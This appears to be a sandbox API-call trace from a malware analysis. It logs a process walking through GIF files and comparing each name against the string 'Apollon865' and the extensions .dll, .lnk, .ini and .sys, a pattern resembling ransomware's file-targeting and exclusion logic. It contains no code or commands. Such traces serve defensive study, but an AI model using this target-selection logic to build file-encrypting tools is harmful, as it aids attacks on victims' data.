	[0072.799] lstrcmpiW (lpString1="PDIR16F.GIF", lpString2=".dll") returned 1
	[0072.799] lstrlenW (lpString=".lnk") returned 4
	[0072.799] lstrcmpiW (lpString1="PDIR16F.GIF", lpString2=".lnk") returned 1
	[0072.799] lstrlenW (lpString=".ini") returned 4
	[0072.799] lstrcmpiW (lpString1="PDIR16F.GIF", lpString2=".ini") returned 1
	[0072.799] lstrlenW (lpString=".sys") returned 4
	[0072.799] lstrcmpiW (lpString1="PDIR16F.GIF", lpString2=".sys") returned 1
	[0072.799] lstrlenW (lpString="PDIR16F.GIF") returned 11
	[0072.799] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="PDIR17F.GIF" | out: lpString1="PDIR17F.GIF") returned="PDIR17F.GIF"
	[0072.799] lstrlenW (lpString="PDIR17F.GIF") returned 11
	[0072.799] lstrlenW (lpString="Apollon865") returned 10
	[0072.799] lstrcmpiW (lpString1="DIR17F.GIF", lpString2="Apollon865") returned 1
	[0072.799] lstrlenW (lpString=".dll") returned 4
	[0072.799] lstrcmpiW (lpString1="PDIR17F.GIF", lpString2=".dll") returned 1
	[0072.799] lstrlenW (lpString=".lnk") returned 4
	[0072.799] lstrcmpiW (lpString1="PDIR17F.GIF", lpString2=".lnk") returned 1
	[0072.799] lstrlenW (lpString=".ini") returned 4
	[0072.799] lstrcmpiW (lpString1="PDIR17F.GIF", lpString2=".ini") returned 1
	[0072.799] lstrlenW (lpString=".sys") returned 4
	[0072.799] lstrcmpiW (lpString1="PDIR17F.GIF", lpString2=".sys") returned 1
	[0072.799] lstrlenW (lpString="PDIR17F.GIF") returned 11
	[0072.799] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="PDIR18F.GIF" | out: lpString1="PDIR18F.GIF") returned="PDIR18F.GIF"
	[0072.799] lstrlenW (lpString="PDIR18F.GIF") returned 11
	[0072.799] lstrlenW (lpString="Apollon865") returned 10
	[0072.799] lstrcmpiW (lpString1="DIR18F.GIF", lpString2="Apollon865") returned 1
	[0072.800] lstrlenW (lpString=".dll") returned 4
	[0072.800] lstrcmpiW (lpString1="PDIR18F.GIF", lpString2=".dll") returned 1
	[0072.800] lstrlenW (lpString=".lnk") returned 4
	[0072.800] lstrcmpiW (lpString1="PDIR18F.GIF", lpString2=".lnk") returned 1
	[0072.800] lstrlenW (lpString=".ini") returned 4
	[0072.800] lstrcmpiW (lpString1="PDIR18F.GIF", lpString2=".ini") returned 1
	[0072.800] lstrlenW (lpString=".sys") returned 4
	[0072.800] lstrcmpiW (lpString1="PDIR18F.GIF", lpString2=".sys") returned 1
	[0072.800] lstrlenW (lpString="PDIR18F.GIF") returned 11
	[0072.800] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="PDIR19F.GIF" | out: lpString1="PDIR19F.GIF") returned="PDIR19F.GIF"
	[0072.800] lstrlenW (lpString="PDIR19F.GIF") returned 11
	[0072.800] lstrlenW (lpString="Apollon865") returned 10
	[0072.800] lstrcmpiW (lpString1="DIR19F.GIF", lpString2="Apollon865") returned 1
	[0072.800] lstrlenW (lpString=".dll") returned 4
	[0072.800] lstrcmpiW (lpString1="PDIR19F.GIF", lpString2=".dll") returned 1
	[0072.800] lstrlenW (lpString=".lnk") returned 4
	[0072.800] lstrcmpiW (lpString1="PDIR19F.GIF", lpString2=".lnk") returned 1
	[0072.800] lstrlenW (lpString=".ini") returned 4
	[0072.800] lstrcmpiW (lpString1="PDIR19F.GIF", lpString2=".ini") returned 1
	[0072.800] lstrlenW (lpString=".sys") returned 4
	[0072.800] lstrcmpiW (lpString1="PDIR19F.GIF", lpString2=".sys") returned 1
	[0072.800] lstrlenW (lpString="PDIR19F.GIF") returned 11
	[0072.800] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="PDIR1B.GIF" | out: lpString1="PDIR1B.GIF") returned="PDIR1B.GIF"
	[0072.800] lstrlenW (lpString="PDIR1B.GIF") returned 10
	[0072.800] lstrlenW (lpString="Apollon865") returned 10
	[0072.800] lstrlenW (lpString=".dll") returned 4
	[0072.800] lstrcmpiW (lpString1="PDIR1B.GIF", lpString2=".dll") returned 1
	[0072.800] lstrlenW (lpString=".lnk") returned 4
	[0072.800] lstrcmpiW (lpString1="PDIR1B.GIF", lpString2=".lnk") returned 1
	[0072.800] lstrlenW (lpString=".ini") returned 4
	[0072.800] lstrcmpiW (lpString1="PDIR1B.GIF", lpString2=".ini") returned 1
	[0072.800] lstrlenW (lpString=".sys") returned 4
	[0072.800] lstrcmpiW (lpString1="PDIR1B.GIF", lpString2=".sys") returned 1
	[0072.801] lstrlenW (lpString="PDIR1B.GIF") returned 10
	[0072.801] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="PDIR1F.GIF" | out: lpString1="PDIR1F.GIF") returned="PDIR1F.GIF"
	[0072.801] lstrlenW (lpString="PDIR1F.GIF") returned 10
	[0072.801] lstrlenW (lpString="Apollon865") returned 10
	[0072.801] lstrlenW (lpString=".dll") returned 4
	[0072.801] lstrcmpiW (lpString1="PDIR1F.GIF", lpString2=".dll") returned 1
	[0072.801] lstrlenW (lpString=".lnk") returned 4
	[0072.801] lstrcmpiW (lpString1="PDIR1F.GIF", lpString2=".lnk") returned 1
	[0072.801] lstrlenW (lpString=".ini") returned 4
	[0072.801] lstrcmpiW (lpString1="PDIR1F.GIF", lpString2=".ini") returned 1
	[0072.801] lstrlenW (lpString=".sys") returned 4
	[0072.801] lstrcmpiW (lpString1="PDIR1F.GIF", lpString2=".sys") returned 1
	[0072.801] lstrlenW (lpString="PDIR1F.GIF") returned 10
	[0072.801] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="PDIR20F.GIF" | out: lpString1="PDIR20F.GIF") returned="PDIR20F.GIF"
	[0072.801] lstrlenW (lpString="PDIR20F.GIF") returned 11
	[0072.801] lstrlenW (lpString="Apollon865") returned 10
	[0072.801] lstrcmpiW (lpString1="DIR20F.GIF", lpString2="Apollon865") returned 1
	[0072.801] lstrlenW (lpString=".dll") returned 4
	[0072.801] lstrcmpiW (lpString1="PDIR20F.GIF", lpString2=".dll") returned 1
	[0072.801] lstrlenW (lpString=".lnk") returned 4
	[0072.801] lstrcmpiW (lpString1="PDIR20F.GIF", lpString2=".lnk") returned 1
	[0072.801] lstrlenW (lpString=".ini") returned 4
	[0072.801] lstrcmpiW (lpString1="PDIR20F.GIF", lpString2=".ini") returned 1
	[0072.801] lstrlenW (lpString=".sys") returned 4
	[0072.801] lstrcmpiW (lpString1="PDIR20F.GIF", lpString2=".sys") returned 1
	[0072.801] lstrlenW (lpString="PDIR20F.GIF") returned 11
	[0072.801] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="PDIR21F.GIF" | out: lpString1="PDIR21F.GIF") returned="PDIR21F.GIF"
	[0072.801] lstrlenW (lpString="PDIR21F.GIF") returned 11
	[0072.801] lstrlenW (lpString="Apollon865") returned 10
	[0072.801] lstrcmpiW (lpString1="DIR21F.GIF", lpString2="Apollon865") returned 1
	[0072.802] lstrlenW (lpString=".dll") returned 4
	[0072.802] lstrcmpiW (lpString1="PDIR21F.GIF", lpString2=".dll") returned 1
	[0072.802] lstrlenW (lpString=".lnk") returned 4
	[0072.802] lstrcmpiW (lpString1="PDIR21F.GIF", lpString2=".lnk") returned 1
	[0072.802] lstrlenW (lpString=".ini") returned 4
	[0072.802] lstrcmpiW (lpString1="PDIR21F.GIF", lpString2=".ini") returned 1
	[0072.802] lstrlenW (lpString=".sys") returned 4
	[0072.802] lstrcmpiW (lpString1="PDIR21F.GIF", lpString2=".sys") returned 1
	[0072.802] lstrlenW (lpString="PDIR21F.GIF") returned 11
	[0072.802] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="PDIR22F.GIF" | out: lpString1="PDIR22F.GIF") returned="PDIR22F.GIF"
	[0072.802] lstrlenW (lpString="PDIR22F.GIF") returned 11
	[0072.802] lstrlenW (lpString="Apollon865") returned 10
	[0072.802] lstrcmpiW (lpString1="DIR22F.GIF", lpString2="Apollon865") returned 1
	[0072.802] lstrlenW (lpString=".dll") returned 4
	[0072.802] lstrcmpiW (lpString1="PDIR22F.GIF", lpString2=".dll") returned 1
	[0072.802] lstrlenW (lpString=".lnk") returned 4
	[0072.802] lstrcmpiW (lpString1="PDIR22F.GIF", lpString2=".lnk") returned 1
	[0072.802] lstrlenW (lpString=".ini") returned 4
	[0072.802] lstrcmpiW (lpString1="PDIR22F.GIF", lpString2=".ini") returned 1
	[0072.802] lstrlenW (lpString=".sys") returned 4
	[0072.802] lstrcmpiW (lpString1="PDIR22F.GIF", lpString2=".sys") returned 1
	[0072.802] lstrlenW (lpString="PDIR22F.GIF") returned 11
	[0072.802] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="PDIR23F.GIF" | out: lpString1="PDIR23F.GIF") returned="PDIR23F.GIF"
	[0072.802] lstrlenW (lpString="PDIR23F.GIF") returned 11
	[0072.802] lstrlenW (lpString="Apollon865") returned 10
	[0072.802] lstrcmpiW (lpString1="DIR23F.GIF", lpString2="Apollon865") returned 1
	[0072.802] lstrlenW (lpString=".dll") returned 4
	[0072.802] lstrcmpiW (lpString1="PDIR23F.GIF", lpString2=".dll") returned 1
	[0072.802] lstrlenW (lpString=".lnk") returned 4
	[0072.802] lstrcmpiW (lpString1="PDIR23F.GIF", lpString2=".lnk") returned 1
	[0072.802] lstrlenW (lpString=".ini") returned 4
	[0072.802] lstrcmpiW (lpString1="PDIR23F.GIF", lpString2=".ini") returned 1
	[0072.802] lstrlenW (lpString=".sys") returned 4
	[0072.803] lstrcmpiW (lpString1="PDIR23F.GIF", lpString2=".sys") returned 1
	[0072.803] lstrlenW (lpString="PDIR23F.GIF") returned 11
	[0072.803] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="PDIR24F.GIF" | out: lpString1="PDIR24F.GIF") returned="PDIR24F.GIF"
	[0072.803] lstrlenW (lpString="PDIR24F.GIF") returned 11
	[0072.803] lstrlenW (lpString="Apollon865") returned 10
	[0072.803] lstrcmpiW (lpString1="DIR24F.GIF", lpString2="Apollon865") returned 1
	[0072.803] lstrlenW (lpString=".dll") returned 4
	[0072.803] lstrcmpiW (lpString1="PDIR24F.GIF", lpString2=".dll") returned 1
	[0072.803] lstrlenW (lpString=".lnk") returned 4
	[0072.803] lstrcmpiW (lpString1="PDIR24F.GIF", lpString2=".lnk") returned 1
	[0072.803] lstrlenW (lpString=".ini") returned 4
	[0072.803] lstrcmpiW (lpString1="PDIR24F.GIF", lpString2=".ini") returned 1
	[0072.803] lstrlenW (lpString=".sys") returned 4
	[0072.803] lstrcmpiW (lpString1="PDIR24F.GIF", lpString2=".sys") returned 1
	[0072.803] lstrlenW (lpString="PDIR24F.GIF") returned 11
	[0072.803] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="PDIR25F.GIF" | out: lpString1="PDIR25F.GIF") returned="PDIR25F.GIF"
	[0072.803] lstrlenW (lpString="PDIR25F.GIF") returned 11
	[0072.803] lstrlenW (lpString="Apollon865") returned 10
	[0072.803] lstrcmpiW (lpString1="DIR25F.GIF", lpString2="Apollon865") returned 1
	[0072.803] lstrlenW (lpString=".dll") returned 4
	[0072.803] lstrcmpiW (lpString1="PDIR25F.GIF", lpString2=".dll") returned 1
	[0072.803] lstrlenW (lpString=".lnk") returned 4
	[0072.803] lstrcmpiW (lpString1="PDIR25F.GIF", lpString2=".lnk") returned 1
	[0072.803] lstrlenW (lpString=".ini") returned 4
	[0072.803] lstrcmpiW (lpString1="PDIR25F.GIF", lpString2=".ini") returned 1
	[0072.803] lstrlenW (lpString=".sys") returned 4
	[0072.803] lstrcmpiW (lpString1="PDIR25F.GIF", lpString2=".sys") returned 1
	[0072.803] lstrlenW (lpString="PDIR25F.GIF") returned 11
	[0072.803] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="PDIR26F.GIF" | out: lpString1="PDIR26F.GIF") returned="PDIR26F.GIF"
	[0072.803] lstrlenW (lpString="PDIR26F.GIF") returned 11
	[0072.804] lstrlenW (lpString="Apollon865") returned 10
	[0072.804] lstrcmpiW (lpString1="DIR26F.GIF", lpString2="Apollon865") returned 1
	[0072.804] lstrlenW (lpString=".dll") returned 4
	[0072.804] lstrcmpiW (lpString1="PDIR26F.GIF", lpString2=".dll") returned 1
	[0072.804] lstrlenW (lpString=".lnk") returned 4
	[0072.804] lstrcmpiW (lpString1="PDIR26F.GIF", lpString2=".lnk") returned 1
	[0072.804] lstrlenW (lpString=".ini") returned 4
	[0072.804] lstrcmpiW (lpString1="PDIR26F.GIF", lpString2=".ini") returned 1
	[0072.804] lstrlenW (lpString=".sys") returned 4
	[0072.804] lstrcmpiW (lpString1="PDIR26F.GIF", lpString2=".sys") returned 1
	[0072.804] lstrlenW (lpString="PDIR26F.GIF") returned 11
	[0072.804] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="PDIR27F.GIF" | out: lpString1="PDIR27F.GIF") returned="PDIR27F.GIF"
	[0072.804] lstrlenW (lpString="PDIR27F.GIF") returned 11
	[0072.804] lstrlenW (lpString="Apollon865") returned 10
	[0072.804] lstrcmpiW (lpString1="DIR27F.GIF", lpString2="Apollon865") returned 1
	[0072.804] lstrlenW (lpString=".dll") returned 4
	[0072.804] lstrcmpiW (lpString1="PDIR27F.GIF", lpString2=".dll") returned 1
	[0072.804] lstrlenW (lpString=".lnk") returned 4
	[0072.804] lstrcmpiW (lpString1="PDIR27F.GIF", lpString2=".lnk") returned 1
	[0072.804] lstrlenW (lpString=".ini") returned 4
	[0072.804] lstrcmpiW (lpString1="PDIR27F.GIF", lpString2=".ini") returned 1
	[0072.804] lstrlenW (lpString=".sys") returned 4
	[0072.804] lstrcmpiW (lpString1="PDIR27F.GIF", lpString2=".sys") returned 1
	[0072.804] lstrlenW (lpString="PDIR27F.GIF") returned 11
	[0072.804] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="PDIR28B.GIF" | out: lpString1="PDIR28B.GIF") returned="PDIR28B.GIF"
	[0072.804] lstrlenW (lpString="PDIR28B.GIF") returned 11
	[0072.804] lstrlenW (lpString="Apollon865") returned 10
	[0072.804] lstrcmpiW (lpString1="DIR28B.GIF", lpString2="Apollon865") returned 1
	[0072.804] lstrlenW (lpString=".dll") returned 4
	[0072.804] lstrcmpiW (lpString1="PDIR28B.GIF", lpString2=".dll") returned 1
	[0072.804] lstrlenW (lpString=".lnk") returned 4
	[0072.804] lstrcmpiW (lpString1="PDIR28B.GIF", lpString2=".lnk") returned 1
	[0072.804] lstrlenW (lpString=".ini") returned 4
	[0072.805] lstrcmpiW (lpString1="PDIR28B.GIF", lpString2=".ini") returned 1
	[0072.805] lstrlenW (lpString=".sys") returned 4
	[0072.805] lstrcmpiW (lpString1="PDIR28B.GIF", lpString2=".sys") returned 1
	[0072.805] lstrlenW (lpString="PDIR28B.GIF") returned 11
	[0072.805] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="PDIR28F.GIF" | out: lpString1="PDIR28F.GIF") returned="PDIR28F.GIF"
	[0072.805] lstrlenW (lpString="PDIR28F.GIF") returned 11
	[0072.805] lstrlenW (lpString="Apollon865") returned 10
	[0072.805] lstrcmpiW (lpString1="DIR28F.GIF", lpString2="Apollon865") returned 1
	[0072.805] lstrlenW (lpString=".dll") returned 4
	[0072.805] lstrcmpiW (lpString1="PDIR28F.GIF", lpString2=".dll") returned 1
	[0072.805] lstrlenW (lpString=".lnk") returned 4
	[0072.805] lstrcmpiW (lpString1="PDIR28F.GIF", lpString2=".lnk") returned 1
	[0072.805] lstrlenW (lpString=".ini") returned 4
	[0072.805] lstrcmpiW (lpString1="PDIR28F.GIF", lpString2=".ini") returned 1
	[0072.805] lstrlenW (lpString=".sys") returned 4
	[0072.805] lstrcmpiW (lpString1="PDIR28F.GIF", lpString2=".sys") returned 1
	[0072.805] lstrlenW (lpString="PDIR28F.GIF") returned 11
	[0072.805] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="PDIR29B.GIF" | out: lpString1="PDIR29B.GIF") returned="PDIR29B.GIF"
	[0072.805] lstrlenW (lpString="PDIR29B.GIF") returned 11
	[0072.805] lstrlenW (lpString="Apollon865") returned 10
	[0072.805] lstrcmpiW (lpString1="DIR29B.GIF", lpString2="Apollon865") returned 1
	[0072.806] lstrlenW (lpString=".dll") returned 4
	[0072.806] lstrcmpiW (lpString1="PDIR29B.GIF", lpString2=".dll") returned 1
	[0072.806] lstrlenW (lpString=".lnk") returned 4
	[0072.806] lstrcmpiW (lpString1="PDIR29B.GIF", lpString2=".lnk") returned 1
	[0072.806] lstrlenW (lpString=".ini") returned 4
	[0072.806] lstrcmpiW (lpString1="PDIR29B.GIF", lpString2=".ini") returned 1
	[0072.806] lstrlenW (lpString=".sys") returned 4
	[0072.806] lstrcmpiW (lpString1="PDIR29B.GIF", lpString2=".sys") returned 1
	[0072.806] lstrlenW (lpString="PDIR29B.GIF") returned 11
	[0072.806] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="PDIR29F.GIF" | out: lpString1="PDIR29F.GIF") returned="PDIR29F.GIF"
	[0072.806] lstrlenW (lpString="PDIR29F.GIF") returned 11
	[0072.806] lstrlenW (lpString="Apollon865") returned 10
	[0072.806] lstrcmpiW (lpString1="DIR29F.GIF", lpString2="Apollon865") returned 1
	[0072.806] lstrlenW (lpString=".dll") returned 4
	[0072.806] lstrcmpiW (lpString1="PDIR29F.GIF", lpString2=".dll") returned 1
	[0072.806] lstrlenW (lpString=".lnk") returned 4
	[0072.806] lstrcmpiW (lpString1="PDIR29F.GIF", lpString2=".lnk") returned 1
	[0072.806] lstrlenW (lpString=".ini") returned 4
	[0072.806] lstrcmpiW (lpString1="PDIR29F.GIF", lpString2=".ini") returned 1
	[0072.806] lstrlenW (lpString=".sys") returned 4
	[0072.806] lstrcmpiW (lpString1="PDIR29F.GIF", lpString2=".sys") returned 1
	[0072.806] lstrlenW (lpString="PDIR29F.GIF") returned 11
	[0072.806] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="PDIR2B.GIF" | out: lpString1="PDIR2B.GIF") returned="PDIR2B.GIF"
	[0072.806] lstrlenW (lpString="PDIR2B.GIF") returned 10
	[0072.806] lstrlenW (lpString="Apollon865") returned 10
	[0072.807] lstrlenW (lpString=".dll") returned 4
	[0072.807] lstrcmpiW (lpString1="PDIR2B.GIF", lpString2=".dll") returned 1
	[0072.807] lstrlenW (lpString=".lnk") returned 4
	[0072.807] lstrcmpiW (lpString1="PDIR2B.GIF", lpString2=".lnk") returned 1
	[0072.807] lstrlenW (lpString=".ini") returned 4
	[0072.807] lstrcmpiW (lpString1="PDIR2B.GIF", lpString2=".ini") returned 1
	[0072.807] lstrlenW (lpString=".sys") returned 4
	[0072.807] lstrcmpiW (lpString1="PDIR2B.GIF", lpString2=".sys") returned 1
	[0072.807] lstrlenW (lpString="PDIR2B.GIF") returned 10
	[0072.807] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="PDIR2F.GIF" | out: lpString1="PDIR2F.GIF") returned="PDIR2F.GIF"
	[0072.807] lstrlenW (lpString="PDIR2F.GIF") returned 10
	[0072.807] lstrlenW (lpString="Apollon865") returned 10
	[0072.807] lstrlenW (lpString=".dll") returned 4
	[0072.807] lstrcmpiW (lpString1="PDIR2F.GIF", lpString2=".dll") returned 1
	[0072.807] lstrlenW (lpString=".lnk") returned 4
	[0072.807] lstrcmpiW (lpString1="PDIR2F.GIF", lpString2=".lnk") returned 1
	[0072.807] lstrlenW (lpString=".ini") returned 4
	[0072.807] lstrcmpiW (lpString1="PDIR2F.GIF", lpString2=".ini") returned 1
	[0072.807] lstrlenW (lpString=".sys") returned 4
	[0072.807] lstrcmpiW (lpString1="PDIR2F.GIF", lpString2=".sys") returned 1
	[0072.807] lstrlenW (lpString="PDIR2F.GIF") returned 10
	[0072.807] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="PDIR30B.GIF" | out: lpString1="PDIR30B.GIF") returned="PDIR30B.GIF"
	[0072.807] lstrlenW (lpString="PDIR30B.GIF") returned 11
	[0072.807] lstrlenW (lpString="Apollon865") returned 10
	[0072.807] lstrcmpiW (lpString1="DIR30B.GIF", lpString2="Apollon865") returned 1
	[0072.807] lstrlenW (lpString=".dll") returned 4
	[0072.807] lstrcmpiW (lpString1="PDIR30B.GIF", lpString2=".dll") returned 1
	[0072.807] lstrlenW (lpString=".lnk") returned 4
	[0072.807] lstrcmpiW (lpString1="PDIR30B.GIF", lpString2=".lnk") returned 1
	[0072.807] lstrlenW (lpString=".ini") returned 4
	[0072.807] lstrcmpiW (lpString1="PDIR30B.GIF", lpString2=".ini") returned 1
	[0072.807] lstrlenW (lpString=".sys") returned 4
	[0072.807] lstrcmpiW (lpString1="PDIR30B.GIF", lpString2=".sys") returned 1
	[0072.808] lstrlenW (lpString="PDIR30B.GIF") returned 11
	[0072.808] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="PDIR30F.GIF" | out: lpString1="PDIR30F.GIF") returned="PDIR30F.GIF"
	[0072.808] lstrlenW (lpString="PDIR30F.GIF") returned 11
	[0072.808] lstrlenW (lpString="Apollon865") returned 10
	[0072.808] lstrcmpiW (lpString1="DIR30F.GIF", lpString2="Apollon865") returned 1
	[0072.808] lstrlenW (lpString=".dll") returned 4
	[0072.808] lstrcmpiW (lpString1="PDIR30F.GIF", lpString2=".dll") returned 1
	[0072.808] lstrlenW (lpString=".lnk") returned 4
	[0072.808] lstrcmpiW (lpString1="PDIR30F.GIF", lpString2=".lnk") returned 1
	[0072.808] lstrlenW (lpString=".ini") returned 4
	[0072.808] lstrcmpiW (lpString1="PDIR30F.GIF", lpString2=".ini") returned 1
	[0072.808] lstrlenW (lpString=".sys") returned 4
	[0072.808] lstrcmpiW (lpString1="PDIR30F.GIF", lpString2=".sys") returned 1
	[0072.808] lstrlenW (lpString="PDIR30F.GIF") returned 11
	[0072.808] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="PDIR31B.GIF" | out: lpString1="PDIR31B.GIF") returned="PDIR31B.GIF"
	[0072.808] lstrlenW (lpString="PDIR31B.GIF") returned 11
	[0072.808] lstrlenW (lpString="Apollon865") returned 10
	[0072.808] lstrcmpiW (lpString1="DIR31B.GIF", lpString2="Apollon865") returned 1
	[0072.808] lstrlenW (lpString=".dll") returned 4
	[0072.808] lstrcmpiW (lpString1="PDIR31B.GIF", lpString2=".dll") returned 1
	[0072.808] lstrlenW (lpString=".lnk") returned 4
	[0072.808] lstrcmpiW (lpString1="PDIR31B.GIF", lpString2=".lnk") returned 1
	[0072.808] lstrlenW (lpString=".ini") returned 4
	[0072.808] lstrcmpiW (lpString1="PDIR31B.GIF", lpString2=".ini") returned 1
	[0072.808] lstrlenW (lpString=".sys") returned 4
	[0072.808] lstrcmpiW (lpString1="PDIR31B.GIF", lpString2=".sys") returned 1
	[0072.808] lstrlenW (lpString="PDIR31B.GIF") returned 11
	[0072.808] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="PDIR31F.GIF" | out: lpString1="PDIR31F.GIF") returned="PDIR31F.GIF"
	[0072.808] lstrlenW (lpString="PDIR31F.GIF") returned 11
	[0072.808] lstrlenW (lpString="Apollon865") returned 10
	[0072.809] lstrcmpiW (lpString1="DIR31F.GIF", lpString2="Apollon865") returned 1
	[0072.809] lstrlenW (lpString=".dll") returned 4
	[0072.809] lstrcmpiW (lpString1="PDIR31F.GIF", lpString2=".dll") returned 1
	[0072.809] lstrlenW (lpString=".lnk") returned 4
	[0072.809] lstrcmpiW (lpString1="PDIR31F.GIF", lpString2=".lnk") returned 1
	[0072.809] lstrlenW (lpString=".ini") returned 4
	[0072.809] lstrcmpiW (lpString1="PDIR31F.GIF", lpString2=".ini") returned 1
	[0072.809] lstrlenW (lpString=".sys") returned 4
	[0072.809] lstrcmpiW (lpString1="PDIR31F.GIF", lpString2=".sys") returned 1
	[0072.809] lstrlenW (lpString="PDIR31F.GIF") returned 11
	[0072.809] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="PDIR32B.GIF" | out: lpString1="PDIR32B.GIF") returned="PDIR32B.GIF"
	[0072.809] lstrlenW (lpString="PDIR32B.GIF") returned 11
	[0072.809] lstrlenW (lpString="Apollon865") returned 10
	[0072.809] lstrcmpiW (lpString1="DIR32B.GIF", lpString2="Apollon865") returned 1
	[0072.809] lstrlenW (lpString=".dll") returned 4
	[0072.809] lstrcmpiW (lpString1="PDIR32B.GIF", lpString2=".dll") returned 1
	[0072.809] lstrlenW (lpString=".lnk") returned 4
	[0072.809] lstrcmpiW (lpString1="PDIR32B.GIF", lpString2=".lnk") returned 1
	[0072.809] lstrlenW (lpString=".ini") returned 4
	[0072.809] lstrcmpiW (lpString1="PDIR32B.GIF", lpString2=".ini") returned 1
	[0072.809] lstrlenW (lpString=".sys") returned 4
	[0072.809] lstrcmpiW (lpString1="PDIR32B.GIF", lpString2=".sys") returned 1
	[0072.809] lstrlenW (lpString="PDIR32B.GIF") returned 11
	[0072.811] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="PDIR32F.GIF" | out: lpString1="PDIR32F.GIF") returned="PDIR32F.GIF"
	[0072.811] lstrlenW (lpString="PDIR32F.GIF") returned 11
	[0072.811] lstrlenW (lpString="Apollon865") returned 10
	[0072.811] lstrcmpiW (lpString1="DIR32F.GIF", lpString2="Apollon865") returned 1
	[0072.811] lstrlenW (lpString=".dll") returned 4
	[0072.811] lstrcmpiW (lpString1="PDIR32F.GIF", lpString2=".dll") returned 1
	[0072.811] lstrlenW (lpString=".lnk") returned 4
	[0072.811] lstrcmpiW (lpString1="PDIR32F.GIF", lpString2=".lnk") returned 1
	[0072.811] lstrlenW (lpString=".ini") returned 4
	[0072.811] lstrcmpiW (lpString1="PDIR32F.GIF", lpString2=".ini") returned 1
	[0072.811] lstrlenW (lpString=".sys") returned 4
	[0072.811] lstrcmpiW (lpString1="PDIR32F.GIF", lpString2=".sys") returned 1
	[0072.811] lstrlenW (lpString="PDIR32F.GIF") returned 11
	[0072.811] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="PDIR33B.GIF" | out: lpString1="PDIR33B.GIF") returned="PDIR33B.GIF"
	[0072.811] lstrlenW (lpString="PDIR33B.GIF") returned 11
	[0072.812] lstrlenW (lpString="Apollon865") returned 10
	[0072.812] lstrcmpiW (lpString1="DIR33B.GIF", lpString2="Apollon865") returned 1
	[0072.812] lstrlenW (lpString=".dll") returned 4
	[0072.812] lstrcmpiW (lpString1="PDIR33B.GIF", lpString2=".dll") returned 1
	[0072.812] lstrlenW (lpString=".lnk") returned 4
	[0072.812] lstrcmpiW (lpString1="PDIR33B.GIF", lpString2=".lnk") returned 1
	[0072.812] lstrlenW (lpString=".ini") returned 4
	[0072.812] lstrcmpiW (lpString1="PDIR33B.GIF", lpString2=".ini") returned 1
	[0072.812] lstrlenW (lpString=".sys") returned 4
	[0072.812] lstrcmpiW (lpString1="PDIR33B.GIF", lpString2=".sys") returned 1
	[0072.812] lstrlenW (lpString="PDIR33B.GIF") returned 11
	[0072.812] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="PDIR33F.GIF" | out: lpString1="PDIR33F.GIF") returned="PDIR33F.GIF"
	[0072.812] lstrlenW (lpString="PDIR33F.GIF") returned 11
	[0072.812] lstrlenW (lpString="Apollon865") returned 10
	[0072.812] lstrcmpiW (lpString1="DIR33F.GIF", lpString2="Apollon865") returned 1
	[0072.812] lstrlenW (lpString=".dll") returned 4
	[0072.812] lstrcmpiW (lpString1="PDIR33F.GIF", lpString2=".dll") returned 1
	[0072.812] lstrlenW (lpString=".lnk") returned 4
	[0072.812] lstrcmpiW (lpString1="PDIR33F.GIF", lpString2=".lnk") returned 1
	[0072.812] lstrlenW (lpString=".ini") returned 4
	[0072.812] lstrcmpiW (lpString1="PDIR33F.GIF", lpString2=".ini") returned 1
	[0072.812] lstrlenW (lpString=".sys") returned 4
	[0072.812] lstrcmpiW (lpString1="PDIR33F.GIF", lpString2=".sys") returned 1
	[0072.812] lstrlenW (lpString="PDIR33F.GIF") returned 11
	[0072.812] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="PDIR34B.GIF" | out: lpString1="PDIR34B.GIF") returned="PDIR34B.GIF"
	[0072.812] lstrlenW (lpString="PDIR34B.GIF") returned 11
	[0072.812] lstrlenW (lpString="Apollon865") returned 10
	[0072.812] lstrcmpiW (lpString1="DIR34B.GIF", lpString2="Apollon865") returned 1
	[0072.812] lstrlenW (lpString=".dll") returned 4
	[0072.812] lstrcmpiW (lpString1="PDIR34B.GIF", lpString2=".dll") returned 1
	[0072.812] lstrlenW (lpString=".lnk") returned 4
	[0072.812] lstrcmpiW (lpString1="PDIR34B.GIF", lpString2=".lnk") returned 1
	[0072.812] lstrlenW (lpString=".ini") returned 4
	[0072.813] lstrcmpiW (lpString1="PDIR34B.GIF", lpString2=".ini") returned 1
	[0072.813] lstrlenW (lpString=".sys") returned 4
	[0072.813] lstrcmpiW (lpString1="PDIR34B.GIF", lpString2=".sys") returned 1
	[0072.813] lstrlenW (lpString="PDIR34B.GIF") returned 11
	[0072.813] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="PDIR34F.GIF" | out: lpString1="PDIR34F.GIF") returned="PDIR34F.GIF"
	[0072.813] lstrlenW (lpString="PDIR34F.GIF") returned 11
	[0072.813] lstrlenW (lpString="Apollon865") returned 10
	[0072.813] lstrcmpiW (lpString1="DIR34F.GIF", lpString2="Apollon865") returned 1
	[0072.813] lstrlenW (lpString=".dll") returned 4
	[0072.813] lstrcmpiW (lpString1="PDIR34F.GIF", lpString2=".dll") returned 1
	[0072.813] lstrlenW (lpString=".lnk") returned 4
